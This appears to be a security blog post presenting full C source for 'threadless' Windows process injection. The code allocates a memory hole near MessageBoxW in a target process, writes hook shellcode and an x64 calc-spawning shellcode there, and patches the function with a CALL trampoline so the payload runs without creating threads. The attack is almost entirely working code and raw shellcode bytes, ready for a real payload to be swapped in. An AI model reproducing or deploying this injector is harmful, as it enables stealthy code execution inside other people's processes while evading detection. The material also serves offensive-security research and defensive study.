Post

Threadless-Injection

Threadless-Injection

What is it?

Injects shellcode into a target process without creating a new thread. Instead, it patches the first 5 bytes of an existing exported function (MessageBoxW in USER32) with a CALL rel32 trampoline that redirects execution to shellcode sitting in a memory hole near the target function. The shellcode itself restores the original bytes before running the payload, so the hook is self-removing.

Flow

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Setup:
  Load ntdll NtAPI pointers (NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory)
  LoadLibrary("USER32") → GetProcAddress("MessageBoxW") → pExportedFuncAddr

PatchHook(pExportedFuncAddr):
  Read 8 bytes from the start of MessageBoxW (the bytes we're about to overwrite)
  → ullOriginalCode = *(UINT64*)pExportedFuncAddr
  Write those 8 bytes into global_HookShellcode[22]
  (replacing the 0xAA placeholder bytes so the hook shellcode can restore them later)

FindMemHole(hProcess, &uAddr, pExportedFuncAddr, payloadSize):
  Search window: ±1.75 GB around MessageBoxW address
    uSearchStart = (funcAddr & 0xFFFFFFFFFFF70000) - 0x70000000
    uSearchEnd   = funcAddr + 0x70000000
  (±1.75 GB stays within signed 32-bit CALL rel32 reach)

  Walk in 64 KB steps, try NtAllocateVirtualMemory at each candidate
  First one that succeeds → memory hole found → uAddr

WritePayload(hProcess, uAddr, ...):
  Layout in the memory hole:
  ┌─────────────────────────────────────────────────────┐
  │ [uAddr + 0x00] hook shellcode (63 bytes)            │
  │   Saves registers, restores original 8 bytes,       │
  │   calls payload, restores flags, returns             │
  ├─────────────────────────────────────────────────────┤
  │ [uAddr + 0x3F] calc shellcode (106 bytes)           │
  │   The actual payload (x64 calc spawner)             │
  └─────────────────────────────────────────────────────┘
  NtWriteVirtualMemory × 2, then NtProtectVirtualMemory → RWX

InstallTrampoline(hProcess, pExportedFuncAddr, uAddr):
  uTrampoline = { 0xE8, 0x00, 0x00, 0x00, 0x00 }
             ↑ CALL rel32

  ulRVA = uAddr - (funcAddr + 5)
  memcpy(&uTrampoline[1], &ulRVA, 4)
  → builds: E8 XX XX XX XX  (CALL to memory hole)

  NtProtectVirtualMemory(funcAddr, 5, PAGE_READWRITE)
  NtWriteVirtualMemory(funcAddr, uTrampoline, 5)
  NtProtectVirtualMemory(funcAddr, 5, PAGE_EXECUTE_READWRITE)

Execution flow when MessageBoxW is next called:
  MessageBoxW entry:
    E8 XX XX XX XX  ← CALL to hook shellcode in memory hole
          │
          ▼
  hook shellcode [uAddr]:
    push registers
    restore original 8 bytes at MessageBoxW   ← self-unhook
    CALL +0x11  ← calls calc shellcode at uAddr+0x3F
    pop registers
    JMP back to MessageBoxW  ← execution continues normally

No CreateRemoteThread, no NtCreateThreadEx, no QueueUserAPC — execution happens on whichever thread next calls MessageBoxW in the target process. The hook shellcode is based on CCob’s ThreadlessInject implementation. The self-unhooking inside the shellcode means the trampoline exists only until the first trigger — subsequent calls to MessageBoxW go straight through normally.

threadless-injection.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
/*
	Threadless injection:
		Injects a trampoline at the start of the starget function. This trampoline will redirect the execution to the main shellcode injected in a memory hole.

		Memory holes are unallocated gaps of memory located between the loaded DLLs inside of a process.
*/

#include <Windows.h>
#include <stdio.h>
#include "Structs.h"

// Error macros
#define API_ERR(szWinAPI)			printf("[!] %ws Failed: %d \n", szWinAPI, GetLastError());
#define NT_ERR(szNtAPI, NtErr)		printf("[!] %s Failed: 0x%0.8X \n", szNtAPI, NtErr);

// Create struct that are function pointers
typedef struct _NtAPI_FP
{
	fnNtAllocateVirtualMemory			pNtAllocateVirtualMemory;
	fnNtProtectVirtualMemory			pNtProtectVirtualMemory;
	fnNtWriteVirtualMemory				pNtWriteVirtualMemory;

} NtAPI_FP, * PNTAPIFP;


NtAPI_FP global_NtAPI = { 0 };


/*
	Searches for and allocates a memory region within ±1.75 GB of a target function address, suitable for shellcode

	hProcess -> Handle to target process (where we will find the memory hole)
	puAddr -> Pointer to variable that will receive base address of the allocated memory hole
	uExportedFuncAddr -> Target function address to hook
	sShellcodeSize -> Size of our shellcode (in bytes)
*/

BOOL FindMemHole(_In_ HANDLE hProcess, _Out_ ULONG_PTR* puAddr, _In_ ULONG_PTR uExportedFuncAddr, _In_ SIZE_T sShellcodeSize) {
	
	NTSTATUS Status = STATUS_SUCCESS;
	ULONG_PTR uAddr = 0;
	*puAddr = 0;

	// Check if parameters are filled
	if (!hProcess || !puAddr || !uExportedFuncAddr || !sShellcodeSize)
		return FALSE;

	// Align the target function address down to the 64 KB allocation boundary, then subtract 1.75 GB to get the lowest candidate address
    // Upper bound: target + 1.75 GB. Both bounds keep us comfortably within the ±2 GB int32 JMP reach
	const ULONG_PTR uSearchStart = (uExportedFuncAddr & 0xFFFFFFFFFFF70000) - 0x70000000;
	const ULONG_PTR uSearchEnd = uExportedFuncAddr + 0x70000000;

	for (ULONG_PTR uCandidate = uSearchStart; uCandidate < uSearchEnd; uCandidate += 0x10000) {
		
		// loop counter and size across iterations
		uAddr = uCandidate;
		SIZE_T sSize = sShellcodeSize;

		Status = global_NtAPI.pNtAllocateVirtualMemory(hProcess, (PVOID*)&uAddr, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

		if (NT_SUCCESS(Status)) {
			
			// Allocation landed; uAddr holds the actual committed base address
			*puAddr = uAddr;
			return TRUE;
		}
	}

	// No usuable hole
	return FALSE;

}


/*
	Applies API hooking to alter the code execution.

	hProcess -> Handle to target process
	pAddrExportedFunction -> Address of the target function that will be hooked with the trampoline shellcode
	pShellcodeAddr -> Hold the base address of the allocated memory hole that we found in FindMemHole()
*/

BOOL InstallTrampoline(_In_ HANDLE hProcess, _In_ PVOID pAddrExportedFunction, _In_ PVOID pShellcodeAddr) {
	
	// Verify parameters are filled
	if (!hProcess || !pAddrExportedFunction || !pShellcodeAddr)
		return FALSE;

	NTSTATUS Status = STATUS_SUCCESS;
	DWORD dwOldProtect = 0;
	unsigned char uTrampoline[0x5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 }; // 0x5 = 5 byte call, 0xE8 = CALL REL32,

	/*
	offset = destination - (instruction_start + instruction_size) = shellcode  - (hooked_function   + 5)
	*/
	unsigned long ulRVA = (unsigned long)((ULONG_PTR)pShellcodeAddr - ((ULONG_PTR)pAddrExportedFunction + sizeof(uTrampoline))); 
	SIZE_T sTmpSize = sizeof(uTrampoline), sBytesWritten = 0;
	PVOID pTmpAddr = pAddrExportedFunction;

	/*
	uTrampoline[0] = 0xE8        ← CALL opcode
	uTrampoline[1] = ulRVA & 0xFF
	uTrampoline[2] = (ulRVA >> 8)  & 0xFF
	uTrampoline[3] = (ulRVA >> 16) & 0xFF
	uTrampoline[4] = (ulRVA >> 24) & 0xFF
	*/
	memcpy(&uTrampoline[1], &ulRVA, sizeof(ulRVA));

	// Unlock for writing
	Status = global_NtAPI.pNtProtectVirtualMemory(hProcess, &pTmpAddr, &sTmpSize, PAGE_READWRITE, &dwOldProtect);
	if (!NT_SUCCESS(Status)) {
		NT_ERR("NtProtectVirtualMemory [unlock]", Status);
		return FALSE;
	}

	// Patch first 5 bytes with trampoline
	Status = global_NtAPI.pNtWriteVirtualMemory(hProcess, pAddrExportedFunction, uTrampoline, sizeof(uTrampoline), &sBytesWritten);
	if (!NT_SUCCESS(Status) || sBytesWritten != sizeof(uTrampoline)) {
		NT_ERR("NtWriteVirtualMemory", Status);
		return FALSE;
	}

	// Set back orginal values of function
	sTmpSize = sizeof(uTrampoline);
	pTmpAddr = pAddrExportedFunction;

	// Set RWX to pAddrExportedFunction in order to restore the 5 bytes of our trampoline
	Status = global_NtAPI.pNtProtectVirtualMemory(hProcess, &pTmpAddr, &sTmpSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	if (!NT_SUCCESS(Status)) {
		NT_ERR("NtProtectVirtualMemory [RWX]", Status);
		return FALSE;
	}

	return TRUE;
}

// Hook shellcode based from: https://github.com/CCob/ThreadlessInject/blob/master/ThreadlessInject/Program.cs#L67
unsigned char global_HookShellcode[63] = {
	0x5B, 0x48, 0x83, 0xEB, 0x04, 0x48, 0x83, 0xEB, 0x01, 0x53, 0x51,
	0x52, 0x41, 0x51, 0x41, 0x50, 0x41, 0x53, 0x41, 0x52, 0x48, 0xB9,
	0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x48, 0x89, 0x0B,
	0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0x11, 0x00,
	0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5A, 0x41, 0x5B, 0x41,
	0x58, 0x41, 0x59, 0x5A, 0x59, 0x5B, 0xFF, 0xE3
};


VOID PatchHook(_In_ PVOID pAddrExportedFunction) {
	// Capture the original 8 bytes at the hook site before they are overwritten by the trampoline. These will be restored by the shellcode after payload execution (self-unhooking).
	unsigned long long ullOriginalCode = *(unsigned long long*)pAddrExportedFunction;

	// Write the original bytes into the 0xAA placeholder at offset 22
	memcpy(&global_HookShellcode[22], &ullOriginalCode, sizeof(ullOriginalCode));
}


/*
	Writes the hook shellcode followed immediately by the main payload into the memory hole allocated by FindMemHole(). The layout in the target process is:
 
    [ uAddress ]
    |-- hook shellcode (sHookShellcodeSize bytes) --| restores original bytes, calls payload, unhooks
    |-- main payload   (sPayloadSize bytes)        --| the actual code to execute
 

    hProcess           ->  Handle to the target process
    uAddr           ->  Base address of the allocated memory hole (from FindMemHole)
    uHookShellcode     ->  Address of the hook shellcode buffer to write first
    sHookShellcodeSize ->  Size of the hook shellcode in bytes
    uPayloadBuffer     ->  Address of the main payload buffer to write after the hook shellcode
    sPayloadSize       ->  Size of the main payload in bytes
*/
BOOL WritePayload(_In_ HANDLE hProcess, _In_ ULONG_PTR uAddr,_In_ ULONG_PTR uHookShellcode, _In_ SIZE_T sHookShellcodeSize,_In_ ULONG_PTR uPayloadBuffer, _In_ SIZE_T sPayloadSize) {
	
	
	SIZE_T      sTmpSizeVar = sHookShellcodeSize + sPayloadSize;
	SIZE_T      sBytesWritten = 0x00;
	DWORD       dwOldProtection = 0x00;
	NTSTATUS    Status = STATUS_SUCCESS;

	// Verify Parameters are filled
	if (!hProcess || !uAddr || !uHookShellcode || !sHookShellcodeSize || !uPayloadBuffer || !sPayloadSize)
		return FALSE;

	// Write the hook shellcode to the base of the allocated hole
	if (!NT_SUCCESS((Status = global_NtAPI.pNtWriteVirtualMemory(hProcess, (PVOID)uAddr, (PVOID)uHookShellcode, sHookShellcodeSize, &sBytesWritten)))
		|| sBytesWritten != sHookShellcodeSize) {
		NT_ERR(TEXT("NtWriteVirtualMemory [hook shellcode]"), Status);
		return FALSE;
	}

	// Write the main payload immediately after the hook shellcode. uAddress + sBytesWritten gives the exact byte after the last written byte.
	if (!NT_SUCCESS((Status = global_NtAPI.pNtWriteVirtualMemory(hProcess, (PVOID)(uAddr + sBytesWritten), (PVOID)uPayloadBuffer, sPayloadSize, &sBytesWritten))) || sBytesWritten != sPayloadSize) {
		NT_ERR(TEXT("NtWriteVirtualMemory [payload]"), Status);
		return FALSE;
	}


	if (!NT_SUCCESS((Status = global_NtAPI.pNtProtectVirtualMemory(hProcess, (PVOID*)&uAddr, &sTmpSizeVar, PAGE_EXECUTE_READWRITE, &dwOldProtection)))) {
		NT_ERR(TEXT("NtProtectVirtualMemory"), Status);
		return FALSE;
	}

	return TRUE;
}

// x64 calc (due to x64 pathcing)
unsigned char ShellcodeCalc[106] = {
		0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
		0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
		0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
		0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
		0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
		0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
		0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
		0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
		0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};


#define Function "MessageBoxW"
#define DLL	"USER32"
#define PID 9156

int main() {
	HMODULE			hNtdll = NULL;
	ULONG_PTR		uAddr = 0;
	PVOID			pExportedFuncAddr = NULL;
	HANDLE			hProcess = NULL;

	// Get handle to ntdll
	hNtdll = GetModuleHandle(TEXT("NTDLL"));
	if (!hNtdll) {
		printf("[!] GetModuleHandle Failed: %d \n", GetLastError());
		return -1;
	}

	// Load NtAPI into memory
	global_NtAPI.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	global_NtAPI.pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
	global_NtAPI.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");

	if (!global_NtAPI.pNtAllocateVirtualMemory || !global_NtAPI.pNtProtectVirtualMemory || !global_NtAPI.pNtWriteVirtualMemory)
		return 1;

	// Find target DLL + Function
	HMODULE hTargetDll = LoadLibrary(TEXT(DLL));
	if (!hTargetDll) {
		API_ERR(TEXT("LoadLibrary"));
		return -1;
	}

	if (!(pExportedFuncAddr = GetProcAddress(hTargetDll, Function))) {
		API_ERR(TEXT("GetProcAddress"));
		return -1;
	}

	// Path first shellcode
	PatchHook(pExportedFuncAddr);

	printf("[+] %s %s at: 0x%p \n", DLL, Function, pExportedFuncAddr);
	
	
	// Open Process 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	if (!hProcess) {
		API_ERR("OpenProcess");
		return -1;
	}

	// Find memory hole inside predefined PID
	if (!FindMemHole(hProcess, &uAddr, pExportedFuncAddr, sizeof(ShellcodeCalc) + sizeof(global_HookShellcode)))
		return -1;

	printf("[+] Memory Hole At: 0x%p \n", (void*)uAddr);

	// Writing both the first and the second (main) shellcode  
	if (!WritePayload(hProcess, uAddr, global_HookShellcode, sizeof(global_HookShellcode), ShellcodeCalc, sizeof(ShellcodeCalc)))
		return -1;


	printf("[*] Press <Enter> to install hook On %d)\n", PID);
	getchar();
	printf("[*] Attempting hook installation...\n");

	if (!InstallTrampoline(hProcess, pExportedFuncAddr, uAddr))
		return -1;
	
	printf("[+] Installed Hook At: %s \n", Function);

	return 0;
}

Structs.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#pragma once

#ifndef STRUCTS
#define STRUCTS

#include <Windows.h>

#define STATUS_SUCCESS	    0x00000000
#define NtCurrentProcess()  ( (HANDLE)-1 )
#define NtCurrentThread()   ( (HANDLE)-2 )
#define NT_SUCCESS(Status)	(((NTSTATUS)(Status)) >= STATUS_SUCCESS)


typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(
	IN		HANDLE			ProcessHandle,
	IN OUT	PVOID* BaseAddress,
	IN		ULONG_PTR		ZeroBits,
	IN OUT	PSIZE_T			RegionSize,
	IN		ULONG			AllocationType,
	IN		ULONG			Protect
	);

typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)(
	IN		HANDLE		ProcessHandle,
	IN OUT	PVOID* BaseAddress,
	IN OUT	PSIZE_T		NumberOfBytesToProtect,
	IN		ULONG		NewAccessProtection,
	OUT		PULONG		OldAccessPRotection
	);

typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(
	IN	HANDLE	ProcessHandle,
	IN	PVOID	BaseAddress,
	IN	PVOID	Buffer,
	IN	ULONG	NumberOfBytesToWrite,
	OUT PULONG	NumberOfBytesWritten OPTIONAL
	);

#endif // !STRUCTS




This post is licensed under CC BY 4.0 by the author.